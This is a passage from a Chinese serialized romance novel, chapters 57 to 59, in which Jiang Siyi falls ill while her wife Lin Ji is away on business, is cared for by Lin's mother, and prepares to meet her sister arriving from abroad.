正面对着镜子的,无法回避自己被完全控制的姿势。 没人说话,没有任何言语信息的传递,姜司意却能感受到,林棘就是要她看到,自己是如何被身后人拥有的画面。 雪肤之下透出的粉,已经分不清是因羞赧而起,还是因林棘太有技巧的抚弄与吻。 耳朵软热得几乎要融化在林棘的唇间。 眼神迷离了。 已然站不住,只能依进后方的怀抱。 身子被转过来,继续吻。 一声短促又带着破碎意味的“唔”之后。 安静的屋内只能听到若隐若现的吻弄声。 以及滚烫交叠的鼻息…… 【作者有话说】 林棘:宠妻第二十四步,占有欲不要怕被老婆知道[猫头] 57 第57章 ◎好乖。◎ 夜半,睡不着。 轻轻翻个身。 林棘已经睡了。 这几天每天都在监测她的睡眠状态,和之前相比有很大的改善。 睡眠总时长增加了,基本上都能睡满六个小时,连续深睡时间也有提高。 多难得的成果,不想吵醒她。 姜司意轻手轻脚下床。 有点怀念小公园,想回去看看。 雪球听到动静,从软垫上翻起来,困得摇摇晃晃,还是非常有狗狗责任感,跟随着走到门口,好奇地看主人。 姜司意摸摸它脑袋,本想回来再带它出去遛弯,一穿鞋它就来精神了,跃跃欲试想要叫。 怕吵醒林棘,只好给它套上牵引绳,抱着一同出门。 扫了辆共享单车,把筐擦干净,让雪球坐在前筐中,慢悠悠骑回去。 雪球很喜欢坐在车筐里,两只小爪子搭在筐上。 夜风吹起它蓬松的头毛,像导航员一般脖子伸老长,开心地咧嘴,吐出粉色的小舌头。 林语水岸距离她以前住的地方不远,所以距离小公园也不远。 她熟悉的一切,依旧在很快就能到达的范围内。 这条路都是以前走过的。 午夜的小公园很安静,周围几乎没有人声车声,只有虫鸣。 简陋的灯照亮更简陋的公园,小秋千又蒙了一层灰。 擦干净,坐上去,雪球跳到她的腿上,吱嘎吱嘎生锈的摇曳声,仿佛能和记忆里的旧时光产生共鸣。 或许是妈妈也想她了,今晚的夜空格外透亮。 凉爽的风不知道从哪个远方吹来,为她消暑解热。 “妈妈,我好像爱上一个人了……” 脚踝勾在一起,缓缓地荡着,望着星辉自言自语。 “很奇妙,是从未有过的感觉。不知道是不是因为以前就认识她,一直保持着距离,现在居然变成了最最亲密无间的关系,像某种宿命。” 顿了顿,觉得不够准确。 “像某种宿命的回归。” 类似于,一开始从未觉得这个人会和自己产生多深的联系,是分属于两个世界的人。 冥冥之中,命运之线却一直系在她们身上。 就算背对着彼此走散在人海,踏过长路度过黑夜,却会在某个陌生的地点,没有理由地重逢。 未曾仔细凝视过的眉目,在这一瞬忽然刻入了生命。 才知道漫漫长路是为了抵达山河,浓浓黑夜是为了抬头看星辰。 她和她的山河星辰重逢了。 …… 牵着雪球在小公园里走走。 一段时间没来,感觉这个小公园又破败了些。 周围都在改造,高楼一栋栋地起,绿化和各种配套如火如荼,或许有一天这个小公园将消失不见。 她早就知道时间一直都在往前走。 无论是谁在意的、珍视的、如命一样眷恋的,都会被时间的洪流无情卷走,不打招呼,不复存在。 世间最残忍的事,她已经经历过了。 最该知道人生有限,该珍惜,该去享受,不要较没有意义的劲。 是,文身还在,头像还是那个,可都是以前的事了…… 就算林棘心里有个白月光,又如何呢? 她有珍惜的过往,但不代表她会把自己困在记忆里啊。 门不止是阻隔,还是用来推开的。 路也是让人往前走的。 在夏末某个清晨的破晓时分,抱着睡着的雪球,亲眼看见黎明之光刺透夜的帷幕,姜司意的大脑也在这一刻苏醒。 她要向林棘表白。 不管林棘的心是什么形状,姜司意想将自己的心给她。 无论林棘曾度过怎样的夜,从今往后,她为她掌灯…… 睡眠不足,咖啡来补。 熬过今天,就有连续两天的休息日了。 姜司意站在茶水间等咖啡,呵欠连连。 段凝往她嘴里塞一块超好吃的小饼干。 “昨晚当贼去了?这么困。” 姜司意吃着饼干,嘴鼓鼓的,含糊不清。 “不是……” 段凝忽然想到什么,表情立刻变得贼贼的,在自己的嘴前做了一个拉拉链的动作。 “哎呀我干嘛啊,懂了懂了,不问了不问了。” 姜司意:…… 你又懂什么了,不要乱懂。 午间姜司意没去出去吃饭,打包了楼下员工食堂的一荤两素回来吃。 有重要的事要落实。 边吃刷社交平台,又看看某些点评,不停地对比。 林棘对她日常生活的每个细节都无微不至。 表白的地方可不能太随便。 得有合她口味的食物,漂亮的风景,还得人少些,林棘肯定喜欢清静的地方。 选来选去都有点不满意。 因为长时间坐在电脑前,姿势僵硬,扭伤的胳膊又有点发酸。 抬起来活动活动。 怎么连眼皮都烫烫的?。 樊青坐在医院安静的走廊上,一边看手机一边等着林棘。 门被轻轻推开,林棘出来了。 樊青收起手机,站起身用眼神询问。 林棘:“好转不少。医生说药可以减量。” 樊青松了口气,“那太好了,林阿姨知道肯定很开心。” 来复查之前,林棘自己心里有预判,这回会有不一样的结果。 果然和她想的一致。 连医生都替她高兴,这么多年一直困扰她的心理问题终于有了明显的好转。 只是药还不能停。 失眠问题有改善,焦虑障碍还会发作。 幽闭的环境依旧让她不适,需要继续进行心理治疗外加药物辅助。 不过,这是多年来第一次有了清晰的转折信号。 一切向好。 两人往楼梯方向去,林棘说:“暂时别跟我妈说,要是反复了她会失望。” 樊青心想,灵丹妙药都住到家里了,肯定不会反复。 心中也真情实感替慷慨的BOSS祈祷。 希望她身体健康,事业蒸蒸日上,公司永远都这么赚钱。 今天的J城有雷阵雨,明、后天还是姜司意休息日,林棘偏偏要去隔壁市出差,无法一同度过周末,但她的心情依旧不错。 这些年身体和心理的疾病切切实实地让她焦虑。 没跟任何人说起,也没和母亲、好友细聊过。 能不能治好尚不可知,更害怕的是持续恶化。 如果哪天从不能乘坐超过三层楼的电梯,恶化成连室内都无法停留。 如果严重的失眠持续加重,会导致精神疾病和认知障碍,更不用说还有猝死的可能。 想要靠近姜司意,想要得到她,想要告诉她自己喜欢她很多很多年。 但疾病一直让她被不配得感纠缠着。 封堵她的嘴,关闭她的心,捆住她想伸出的手。 她也不想让姜司意看到乘坐电梯都会出冷汗脆弱的自己。 更不想哪天变成了疯子,变成了一具尸体,还要连累姜司意,摧毁她的后半生,让她痛苦。 曾经一切对于未来的想象中,病情好转,能待在姜司意身边,是最美好的可能。 如今,她正站在最美好的边缘。 萌生出了更多的渴盼。 如果能停药,如果不再反复,就可以告诉姜司意,我喜欢她很久很久了吗? …… 樊青开着车,载着林棘前往临市短暂出差。 预计明天晚间应该就能完成工作,后天早上返回。 林棘惦记着一件事,给她妈妈林雪泊打电话。 【嗯……司意胳膊扭伤了,可能没有完全好。明后天她休息,我不在J城,您有空的话能不能带她去检查一下?】 林雪泊自然是没有不答应的,让她放心出差,司意就交给她了。 挂了电话,樊青说:“BOSS,有件关于姜家的事你可能想知道。” 林棘:“姜家破产的事?” 樊青“嗯”了一声,说:“以及,姜骆的儿子姜骋和别人打赌赛车,摔成脑挫裂伤,在医院昏迷了很多天,往后醒来的可能性很小。赵珺和姜骆在医院里吵了好几次架,提到了离婚。据说赵珺到处在找专家给儿子治病,姜骆也到处在借钱。不过,姜骆给姜骋治病的意愿好像不太高,我个人猜测,他借钱还是为了度过个人破产危机。上周他在姜小姐曾经租住房附近出现过,我怀疑他可能想向姜小姐借钱。” 姜司意和林棘的婚讯,姜骆不可能不知道。 如果真的让姜骆见到姜司意,会说出什么样死乞白赖的话,显而易见。 在以前租房的地方找不到姜司意,肯定不会善罢甘休。 下一步就会去嘉仕比楼下堵人了。 事业上升期,工作实在太忙,说走就要走,不可能一直跟在姜司意身边。 周霓完成了临时工作,已经回去了。 樊青也得跟着她,现在她的工作离不开樊青的支持。 阿绛的团队都在国外,鞭长莫及。 林棘问樊青:“能不能问问你夏姐,还有没有合适的同乡愿意当任私人保镖的?薪水不是问题。” 樊青:“好,我去问问夏姐。” 林棘想了想,思绪又回到姜家。 拨通岑麓的电话。 【四年前姜骆出售的艺术品修复公司,现在是否有收购的可能性?】 那间艺术品修复公司,是姜司意妈妈最早创立的公司,是她的心血,却被姜骆在三年*前出售了。 电话那头的岑麓很快就明白林棘的意思。 【我来办。没可能我就掰一掰,让它变成有可能。】。 林棘又要去出差,姜司意有些遗憾,不过想想也行,能肆无忌惮地继续寻找表白地点,不被她发现。 只是有点担心林棘,会不会再失眠,睡不好觉? ,:【这次不用洲际飞行倒时差,而且就只有两晚,应该还行。而且我有它。】 还拍了段视频过来。 视频里是林棘的手。 修长的手指握着一直挂在手包上的柿柿如意。 那漂亮的女人手握着小毛团,指腹从中慢慢抚过,撩动一层层细软的兔毛。 手腕侧边的骨节上,那颗淡淡的痣被拍得很清晰,是专属于林棘的独特标志。 姜司意想起在春拍afterparty,透过人群看到这只手,当时正在把玩白玉。 温润修长,比艺术品还要美。 所以,当时就发现了这颗痣。 怎么就注意到了这么小的细节…… 是不是那会儿就认真盯着看了? 那时的姜司意完全没想过,这只手有朝一日会贴上她的肌肤,揉她的脖子,控制她的脸。 捏住她的下巴,让她躲不开吻。 姜司意的思绪被林棘的手带飞到了不知哪场亲热之中。 视频看了三遍,忽然意识到自己的回复是不是太慢了。 等她回复的人,或许会猜到她正在对着这段视频发花痴。 散装吐司:【失眠的话,一定要跟我说哦。】 直接去找她,陪着她睡的话……应该会像上次在伦敦时那样,有效果吧? ,:【能不能把你刚才说的话,用语音再发一遍给我?】 姜司意:? 为什么要用语音再发一遍? 不太确定林棘的用意,还是照她说的做了。 收到语音的林棘,特意戴上耳机听。 果然,这句话被她说得轻轻软软又温柔,很好听。 特别是句尾那个“哦”字。 无端让她联想到,自称为“小姜姐姐”的姜司意。 明明是妹妹,还要装出姐姐的样子。 城市中心,姜司意循环播放林棘的手。 城市边界,林棘一遍遍听姜司意的声音。 雷电过境,大雨倾盆。 夜里,姜司意被一阵雷声惊醒,迷迷糊糊地醒来,第一反应就是去看手机。 没有林棘的微信或电话。 是不是意味着没有失眠? 安心了些。 雪球怕打雷,正蹲在床下可怜巴巴地看着她,圆耳朵都背过去了。 “不怕,妈妈在。” 姜司意破例让雪球上床。 雪球立刻钻进她怀里,紧紧贴着她,抖了抖,找到最舒服的位置,闭上眼。 姜司意摸着它的脑袋,呢喃着“不怕哦”。 怎么觉得脑袋沉沉的,浑身又热又痛,很不舒服。 好像生病了。 喘了道热热的气。 睡一觉就好了……之前生病都是这么过来的。 在细微的沙沙雨声中,再次昏昏沉沉地睡去。 不知道几点,听到门铃的声音。 声音很远很远,还以为是自己做梦。 直到雪球汪汪叫彻底把她吵醒。 下床时整个人是晕乎的,走到可视门禁前,门外是林雪泊和乔槿。 姜司意开门,“林阿姨,乔阿姨,你们怎么来了?” 外面还在下雨,林雪泊和乔槿一人拿着一把伞,合拢的伞尖在滴水。 林雪泊:“小佑跟我说你肩膀扭伤了?她不放心。扭伤可大可小,让我带你去检查一下。” 姜司意让她俩快进屋,哑着嗓子说:“没事的,活动活动就好了,不用这么麻烦。” 林雪泊凝视她的脸片刻,把手里的伞递给身后的乔槿,仔仔细细地看她的脸。 “司意啊,你是不是发烧了?脸红得很不自然。” 发烧了吗? 姜司意正想摸自己的脑袋,林雪泊的手掌就着急地先贴了上来。 冰冷的手掌让姜司意一激灵。 却没躲开。 林雪泊:“都这么烫了,可能有三十九度了。小佑怎么这个时候出差。” 林雪泊担忧的神色映进姜司意的眼眸里,让她一时生出错觉,觉得自己还是个需要人照顾的小孩。 看姜司意眼神直坠坠的,林雪泊担心坏了。 “小佑不在,不舒服了怎么也不跟妈妈说?” “妈妈”这个称呼一出,林雪泊自己都愣了一下。 她早就在心里默认了姜司意也是女儿这件事,跟亲朋好友提起她,都是“我家司意”“我家宝贝”。 可毕竟小姑娘还没改口,她就没在姜司意面前这样自称过。 情急之下脱口而出,心里“呀”了一声。 司意妈妈过世了,她和妈妈感情还很好,贸然这么自称,也不知道会不会让司意不舒服。 林雪泊正想说什么打个圆场,却见烧得有点发懵的姜司意眸色微动,不知道想到了什么,垂下脑袋。 握住了林雪泊的手。 两只发烫的手,从左右两边握过来,轻轻捏着林雪泊的指尖。 没说话,就这样握着。 像是一种默认。 也像是害怕再次走散。 不着一言的内敛,让林雪泊眼睛有些发红。 这孩子也太让人心疼了。 乔槿在一旁注视半天她俩的母女情深,看那手舍不得撒开,提醒一句: “快去医院吧,得尽快退烧。” 林雪泊恍然回神,拉着姜司意的手说: “披件外套就好,去……咱们家自己的医院。” 本来她还想说“妈妈自己的医院”,转念一想,还是暂且略过。 说“咱们家”的总没错。 姜司意要去卧室里拿外套,乔槿直接从玄关次净区衣架上随手抽了一件过来,也不管是谁的,直接给姜司意披上。 “烧成这样就别走来走去了,房子还这么大。”乔槿利落地撑起伞,“走。” 姜司意就这样迷迷糊糊被护送走。 关门前,乔槿用眼神示意了一下,让林雪泊往屋里看。 林雪泊扭头一看,看到沙发后面探出一只圆圆的狗头。 有狗? 家里有狗? 小佑居然能和狗住在同一屋檐下? 林雪泊震惊地和乔槿对视。 乔槿笑着拍拍她后背,示意她先上车再说…… 摇摇晃晃,似乎到了医院,然后躺到床上。 吃了什么,喝了什么,手被扎破了。 嗅到了小时候最害怕的医院的味道。 姜司意烧得迷糊,不喜欢医院,害怕这儿。 想妈妈接她回家。 可意识总是沉在闷闷的水下,头昏脑涨。 半梦半醒间,清新的橙子香味忽然闯入味觉。 有人在为她剥橙子。 橙香荡开了难闻的气味,安抚姜司意动荡的梦境。 有人在她耳边说,吃些水果。 乖乖张开嘴,吞入饱满多汁的橙瓣,甜味中带着一点点的酸,好好吃。 吃了点,又睡了。 在她发烧之际,没能及时看到姜司聆的微信。 姜司聆发微信给妹妹,说她正等着回国的航班登机。 直到上飞机,妹妹也没有回复…… 夜里十一点。 姜司意体温终于降到三十七度一。 林雪泊安心了点,走出病房接电话。 又不知睡了多久,安静的走廊里传来匆忙的脚步声。 姜司意的意识跟着脚步声回归了一些,眼睛依旧是闭着的。 这样的状态下,她还是能分辨出那脚步声好熟悉。 值班护士的声音隔着门,很轻。 问来的女人和患者什么关系。 低沉的女声带着些喘息。 “我是她妻子。” 姜司意眉心微动。 病房门被轻轻推开。 一股雨水和熟悉的檀香味混合的气息靠近,冰冷的手摸了摸她的额头。 有点舒服,姜司意喉咙里发出轻轻的“嗯”。 身后人沉默了几秒,脱去外套,快速洗了澡,穿上不知从何而来的睡裙,上了床,从姜司意身后抱过来。 姜司意下意识翻身,靠近那让她安心的香味。 刚转过来,脸就落入了一只手中,慢慢抬起,唇瓣上落下一个吻。 完全是出于本能,不想这个吻只是单方面的,姜司意轻轻回吻着。 像雏鸟轻啄,浅浅的一点,一点。 小心翼翼,又心动难抑。 林棘没想到姜司意都晕成这样了,还知道回吻她。 好乖。 很想继续,可姜司意现在的状态不适合。 摸摸姜司意的脑袋,试着把她哄睡时,怀里人艰难地睁开眼。 “你怎么回来了?” 声音轻飘飘的。 “别担心,我没事……” 林棘心口微微起伏了几道,将她揽入怀中,下巴贴在她的脖侧。 切切实实拥抱到她的这一刻,一路上的焦灼终于得到了缓解。 气音淡淡的,很缓,但很清晰。 “是我需要你。” 一点点小小的病痛在林棘的怀里,随着夜晚的逝去,慢慢抽离。 【作者有话说】 林棘:宠妻第二十五步,全家一起宠[可怜]- 那个,快了快了,信我[求你了] 58 第58章 ◎受不了◎ 轻启病房门,林雪泊看到床上多了一个人。 小佑居然连夜回来了。 之前小佑在微信里问司意的情况,跟她说退烧了让她别着急,没想到还是回来了。 真粘人啊小佑。 还抱老婆抱得那么紧。 明明给她拿了被子,也不盖,就要和老婆盖同一床。 林雪泊抿唇暗笑,偷偷拍了一张孩子们相拥睡觉的照片。 再无声无息地小心关门退出去。 站在她身后的乔槿看到她偷拍行为,啧啧摇头。 “谁家的妈妈会偷拍女儿睡觉的照片?” 林雪泊看着手机屏幕,笑出眼纹。 “不仅拍了,还要把照片设成手机壁纸。” 乔槿捂着嘴暗暗打了一个小哈欠。 “行了,你宝贝媳妇差不多退烧了,女儿也回来了,应该没我什么事,走了。” 林雪泊:“回去慢点,下周下午茶都我请。” 乔槿弯了弯唇角,往电梯的方向去。 路过消防通道的吸烟处。 黑暗中,有一团火苗蹿起。 实在有点累,樊青歪了歪脖子,咯啦咯啦地响。 打算抽根烟解个乏,就回去睡觉了。 打火机还没沾到烟,就听身后有道声音传来: “年纪轻轻,肺不要了?” 樊青回头,看乔槿双臂抱在身前站在电梯口觑她。 好像无论什么时候,哪个点钟见到乔槿,她都是优雅笔直的,在她身上看不到松懈的颓靡。 她美得自然,无懈可击,有着年少人装不出来的风韵,那是岁月沉淀下来的自然和坦荡。 正是这份优雅,让她的魅力没被时间摧折,半点不褪色。 被乔槿揶揄了一句,樊青夹着烟的动作顿住,不太自然地放下,塞回口袋。 走到乔槿面前。 “陪闺蜜来的?” 乔槿当然听出了樊青话里的不自然。 以前她称呼林雪泊是“林阿姨”。 这会儿像是避讳着什么,改口,成“闺蜜”了。 说话的方式也更像平辈。 无论心里怎么说人家是“轻浮的阿姨”,人到眼前,死活不说那个差辈的称呼。 连林雪泊的“阿姨”辈分也被剥夺。 乔槿微微抬头看这高瘦的小姑娘,不拆穿。 “怎么几天不见又瘦了。” “工作么。” 走哪儿都自信又昂扬的樊青,到了乔槿面前,说话都一个字一个字往外挤。 “还疼吗?” 乔槿看她的腰。 “上次陪我骑马。” 乔槿爱好不算多,骑马是这么多年来一直没变的。 陪她去欧洲那回算是骑了个尽兴,导致樊青腰痛了好几天,最后还是乔槿帮忙按摩才有所舒缓。 年轻人怎么能被阿姨比下去,樊青轻松笑道: “早不疼了。” 乔槿用“信你信你”的眼神看她,随后说:“下班了?” “嗯。” “陪我喝一杯。” 樊青心里想着,别被诱惑了。 不能成为那些被喂了块美味的小饼干,就对她欲罢不能的宠物之一。 嘴却快了一步,立刻答应: “走呗。” 一起进电梯时,樊青心情复杂地看着轿厢倒映里的自己。 无语,死嘴,你还归不归我管了?。 思绪从迷蒙中回归,姜司意再一次醒来时意识清澄了不少。 想看看自己的体温现在多少了,身边人感受到她的动作,将她抱回来,下巴在她额头上轻蹭着。 “退烧了。一小时前刚量过,36度5。” 林棘闭着眼,还有点困意,声音很轻,带着些晨间专属的沙哑质感。 姜司意被林棘这样揽入怀中,眼睛半天才想起眨动。 林棘真的回来了……不是做梦。 还以为是自己病得难受,梦到林棘回来抱她、亲她。 嫌不够,还回吻了。 姜司意,你胆子越来越大,越来越不知道满足了。 在心里抨击自己的同时,看到墙上挂着的钟。 才六点多。 一小时前,也就是五点多刚量过体温。 是林棘帮她量的? 一直都守在这里吗? 心里漫过被在意的甜,甜中又隐约有丝丝胀胀的酸。 林棘呼吸平稳,好像又睡着了。 趁她睡着,姜司意将手搭到她的腰间。 多像一个互相拥抱的姿势。 再次醒来已经快九点了。 出了很多汗,有点没力气,身上黏糊糊的很不舒服,姜司意想去洗澡。 被林棘拦回来。 “最好是等今天都不再烧了再洗。”林棘说,“不舒服的话,我拿毛巾给你擦身。” 姜司意申请,“我可以自己擦。” 林棘没再阻止,去帮她拧毛巾了。 姜司意还在心里想着,居然完全没反对么。 很快她就知道为什么了。 脖子和手臂之类能够擦到的地方,的确能自食其力。 可是对于胳膊的扭伤还有存在感的人来说,后背就难多了。 特别是穿的睡衣还是较为贴身的款式。 姜司意拿毛巾努力去够身后,模样有点好笑。 没直面站在身后的林棘,姜司意也能感受到她落在渐渐手足无措自己身上的目光。 林棘:“需要我帮忙吗?” 不知道林棘现在是什么姿势什么表情。 脑补出斜靠在床边,正欣赏着她的窘迫。 姜司意:。 只能在闷不吭声中屈服。 林棘接收到屈服的信号,接过毛巾,再去过了一遍温热的水。 要帮姜司意擦后背之前问她: “衣扣要解开吗?” 姜司意身上穿是分体睡衣,衣服扣扣子的那种。 偏偏不是很宽松。 在林棘面前直接宽衣解带还是很有压力的。 姜司意:“不,不了吧。” 林棘“嗯”了一声,说:“那我的手会伸进你衣服里。” 姜司意:。 的确是彼此都心知肚明接下来将会发生的事。 可怎么,从林棘的嘴里说出来有点怪怪的…… 林棘从后方靠近,体温和专属的冷香勾勒着身形,压迫感非常清晰。 不是故意,只是这个姿势鼻息不可能不吹到姜司意的后颈。 一阵阵,让她心脏收缩的速度轻易被捕捉、控制。 拉开姜司意的衣摆。 “我进来了。” 四个字,听得姜司意不自禁地微颤。 毛巾拭过后背,沿着脊柱往蝴蝶骨去。 林棘的目光落在她的耳朵上。 小小的,薄薄的,红得很不正常。 “这么红。” 林棘用另一只手点点它。 “可可怜怜的。” 姜司意本来所有的精力都放在后背上,被这一点,又酥又痒的感觉让心头抖了抖。 不仅红,还热热的。 因为刚刚姜司意擦拭过脸和脖子。 耳朵残留着被她自己弄出的红。 也不知道擦拭的时候,用了多大的力气。 对自己是半点不疼惜。 刚才投了热毛巾,林棘的手也很热,不具备帮那可怜的小耳朵降温的作用。 想安抚被折磨过的可怜小耳朵。 凉凉的脸颊贴上去。 柔软冰凉的脸贴上红热的耳朵。 冷热相撞的刺激感,让姜司意呼吸哽在喉中,攥住自己衣服的下摆。 脸庞蹭折了那只耳,再偏回来,耳朵被弄得又往后折。 林棘:“不要欺负它。” 她的手还在后背上,姜司意艰难地维持着身体的战栗。 现在到底是谁在欺负它啊? 疼惜地亲了亲。 不够,吻从耳侧吻进来。 唇边轻碰着发红的薄皮软骨。 沿着软骨的轮廓往上。 “嗯……?” 姜司意身子被耳朵上传来的滚烫柔软的触感带着,终于忍不住那轻颤。 奇异的酥麻感不知从何处生成,弄得喉咙深处险些浮起难耐的哼呢。 热气重重拂过,耳垂被含住,轻轻吮着。 电流从被她吻的地方闪出来。 骨头缝里的酥软感一层层叠加。 累积成难以言说的湿和热。 偏偏身后的女人吻得慢条斯理。 舐嘬间,电流闪得更密。 受不了,姜司意回头。 眼里浸着水光,一言不发,林棘也知道她想要什么。 启开毫无抵抗的唇齿,轻易勾住了不知该如何是好的小舌。 双臂像软蛇,攀上她的身体,在沉默中痴迷地紧缩,享受着拥有她的紧密感。 已经有点熟悉林棘这密不透风的吻,也快要学会怎么在接吻中保持顺畅的呼吸。 明明是有进步的,可一旦吻起来,总是乱了节奏。 病房外有脚步声,这扇门随时都有可能被推开。 这份不安加大了刺激感。 被林棘摁在床面上时,姜司意被吻到抬起的脖子难言地咽动着。 欲念持续加深。 但姜司意才刚刚发过烧。 顾及她还是病号,这次的吻明显没那么凶了,却是另一种温柔纠缠,不同的滋味。 …… 依旧吻得姜司意有些脱力,眼神有点空,脸红红的。 林棘帮她抹抹发亮的唇面,再伸手探她额头。 是热的,但不是发烧的那种热。 不知道自己被亲成了什么样,这么近距离会不会被发现眼眸里的渴望。 姜司意立刻找了个万能话题。 “昨晚没回家,雪球不知道怎么样了。” “林女士说去家里照顾雪球了。” “嗯?林阿姨她……” “她很喜欢狗。” 林棘顿了顿,想到了一些往事。 “只是我的原因,一直没养狗。她很会照顾狗,雪球会喜欢她的。” 林雪泊是这间私人医院的最大股东,所以姜司意能直接住在VIP套房内。 本就是想要让林雪泊帮忙带她看看胳膊,现在都住进来了,胳膊肯定还是要看的。 林雪泊女士不仅在家里照顾雪球,还给姜司意送了干净舒爽的衣服过来。 换了衣服,林棘陪着她去楼下检查。 姜司意有点担忧,“你不是去出差,要明天才能回来吗?提前回来会不会有事?” “不用担心,我有安排好工作的能力。一会儿再补个会议就行。” 姜司意是觉得林棘有点大惊小怪了。 发烧而已,哪年不要发个烧感个冒。 胳膊扭伤就更普遍了,睡觉姿势不好都能扭到。 林棘也好,林阿姨也好,对她小小的不舒服这般认真。 这些话在心中过了一遍,又无法否认,被在意的感觉实在很好。 过分的在意,更是让人无法拒绝。 诊室里有人,她们在外面等一会儿。 姜司意双手抄在口袋的时候,摸到自己的手机。 早上林雪泊让人送衣服来时,一起带来的。 林雪泊知道现在年轻人无论工作生活都离不开手机,她自己都时刻不离手。 昏睡大半天,不知道有没有什么重要信息。 拿出手机看了眼,瞳孔放大。 “嗯??” 林棘:“怎么?” 姜司意一脸震惊。 “我姐说,坐上回国的飞机了,还是昨晚发的微信。” 姜司聆是林棘的老同学,高中时同班过两年,很久没真正见过面了。 林棘:“那很快要到了。” 姜司意一边快速打字回复姐姐,一边疑惑道,“回来得太突然了……怎么会这时候回来?” 姜司聆这趟民航有WiFi,很快回复。 Ochre:【想你了啊宝宝,想回来看看你嘛。】 姜司意太懂她姐,这闪闪躲躲的字里行间肯定藏着事儿。 还藏得不太好。 她俩也实在太久没见了,好不容易回国,姜司意还是很开心的。 散装吐司:【小狗转圈.gif】 散装吐司:【几点到J城啊。】 Ochre:【还有两个半小时降落。】 姜司意对林棘说:“我姐说还有两个半小时就到了。” 林棘:“我跟你一起去接她。” 林棘也要去…… 和林棘结婚这件事,姜司意原本打算过段时间再告诉姐姐。 这下突然袭击,怎么都瞒不住了。 散装吐司:【我们一起去接你。】 独自坐在飞机上的姜司聆看到这条微信,精神一提。 “我们”? 还能是谁,肯定是那个森一繁。 她也来……这么快就要和那个姓森的见到面了么? 有点紧张,有点慌。 姜司聆喝了杯酒,给自己壮壮胆。 别害怕,你可是姐姐。 你要是怕了,宝宝怎么办? 无论这个森一繁有多混蛋,都要拿出姐姐的气魄,好好敲打敲打她。 不然真要觉得娘家没人给宝宝撑腰了。 诊室里的病人出来了,换姜司意进去。 林棘在外面等她的时候,樊青来了。 樊青跟她汇报,先前交代继续雇佣私人保镖这事,已经联系过夏姐。 这位夏姐全名叫夏步青,是樊青同乡会里年纪较长,最有威望的姐姐。 两人因为名字里都有一个“青”字,性格相似,走得挺近。 离开家乡各自讨生活后,一直保持着联系。 由于出身的特殊,同乡们想要走正道,活个人样,都不太容易。 夏步青是同乡里最早拥有稳定工作,收入不菲的大姐姐。性子冷归冷,对同乡都挺好。有什么忙只要她能忙的一定会拉把手。 周霓就是樊青通过夏姐认识的。 樊青这次找她,她推荐了三个人选。 作为年薪百万的优秀助理,樊青直接给了林棘结果: “我最后还是联系了周霓。” 夏姐给她推荐的第一位,三十岁的阿辉,性别男。 樊青半秒pass。 第二位小任,倒是个正经的女孩,能力也不弱,就是有强迫症,吃个西瓜都要把籽排成一整排。人又木讷,曾经雇主和朋友打牌的时候,朋友开玩笑说了一句“有内鬼,终止交易”。小任居然扛起雇主就跑,雇主脑袋还磕到门框,当天就被炒了鱿鱼。 第三位么,夏姐应该还不知道这位的战绩才会推荐。历任雇主都被她睡过,最后还闹得一拍两散,唯独在夏步青面前会装乖。 这三位都不靠谱,樊青想了想,还是试着去联系周霓。 周霓和卫总好像也有点情况,可起码周霓工作起来绝不含糊,能力一流。 希望她大发慈悲,能再回来工作。 林棘:“她答应了?” 樊青点点头,“答应了,她好像又很需要钱。” 林棘:“又和卫总吵架了。” 樊青保持微笑。 不愧是BOSS,都没疑问,直接是陈述句。 “司意应该也挺习惯她。什么时候能到岗?” “周霓一向很有行动力,今天就行。” 林棘的手机一直在震,樊青一边说一边将目光下移到她的口袋。 最近幻维有些动荡。 海外业务扩张要突破阻力,内部技术迭代也要她操心。 林棘比所有人看到的还要忙碌。 幸好她精力好了些,不然不知道能不能撑下来。 林棘接了电话,闭着眼说了三个“嗯”。 挂断后,对樊青说:“我得回一趟总部,会议提前了。” 原本她的计划是陪姜司意检查完,确定没事了再回去。 林棘只能给姜司意发微信说自己突然离开,没办法和她一起去接姜司聆。 让樊青代劳,晚上请姐妹俩一起吃饭。 樊青颔首,“我会把一切都准备好。也会随时观察姜小姐的身体状况。” 姜司意从诊室出来看到微信时,林棘已经离开了。 樊青说:“BOSS让我陪你去接你姐姐。” 看不到林棘略有失落。 姜司意笑笑:“谢谢,麻烦你了。” 樊青:“医生怎么说?” 姜司意:“医生说应该没什么事,回去休息一段时间看看,没有缓解的话可以再来。” 樊青:“行,那咱们去机场吧。” 时间有点紧巴巴,立刻出发。 到了机场,等了不到十分钟,姜司聆就从国际到达口出来了。 姐妹俩上次见面是两年前的春节。 姐姐瘦了,整个人闷在画室里,皮肤透着不太健康的白。 大老远看到姜司意,双眸发亮,行李推车都不要了,张开双臂向妹妹小跑而来。 被姐姐抱个满怀,脸被捧起,嘴都被夹得嘟起来。 姜司聆亲妹妹的脸蛋,亲了又亲。 “宝宝啊,我的宝宝怎么还能变得更漂亮?让我看看,好美,好美好美,谁家的宝宝这么美?” 姜司意脸被姐姐紧贴着,整个人都要被抱变形了。 又被她的话弄得很不好意思。 “姐……这么多人呢。” 姜司聆吸够妹妹了,将她放开,忽然想起自己行李在身后。 两人一起回头,樊青握着满载行李的推车,笑笑。 姜司意手机有电话进来,一边接通一边简单介绍: “姐,这是小樊。喂……吴经理?” 姜司聆心里一咯噔。 小繁。 看来猜的没错,觊觎妹妹的人还真是森一繁。 高个,精瘦,脸上还有道疤…… 默默咽了下口水。 比想象的还要可怕。 【作者有话说】 林棘:宠妻第……怎么感觉有人要代替我宠妻[问号] 59 第59章 ◎唯一真老婆◎ 姜司意负责的某位收藏家的拍品鉴定证书不完善,吴经理打电话过来询问。 大休息日,吴经理还在当牛马,姜司意不好意思不接。 一边和吴经理对话,一边跟着樊青和姐姐往停车场的方向去。 姜司聆行李一向多,但凡出门,什么鸡零狗碎都往箱子里塞。 这次回国带了一大一小两个行李箱,还背了一个大包和一个挎包。 就这,还是格伦达帮她精简了两轮。 樊青推着满载行李的推车,姜司聆有点不好意思,说: “沉,我自己来吧。” 樊青客客气气道:“没关系的,你是姜小姐的姐姐,我今天来就是好好照顾你的。” 姜小姐? 都结婚了还叫姜小姐。 像在玩情趣…… 想法早就剑走偏锋,三头驴都拉不回来的姜司聆心里想着,小繁啊有点手段,难怪能玩弄漂亮女孩。 抨击完后又理智地琢磨,万一人家是发自真心的呢? 脸上是有道疤,怪吓人的。 可近距离接触之下观察,这森一繁眉眼清秀,还会问候她“累不累”,说“已经订好餐厅”的时候带着和煦的笑,感觉挺温和的一个人。 说不定没有传闻中的那么混蛋? 毕竟传闻嘛,不可以都当真,得自己去观察,去了解。 当然,在做表面功夫的可能性也不是没有。 姜司聆警醒自己,绝对不能掉以轻心。 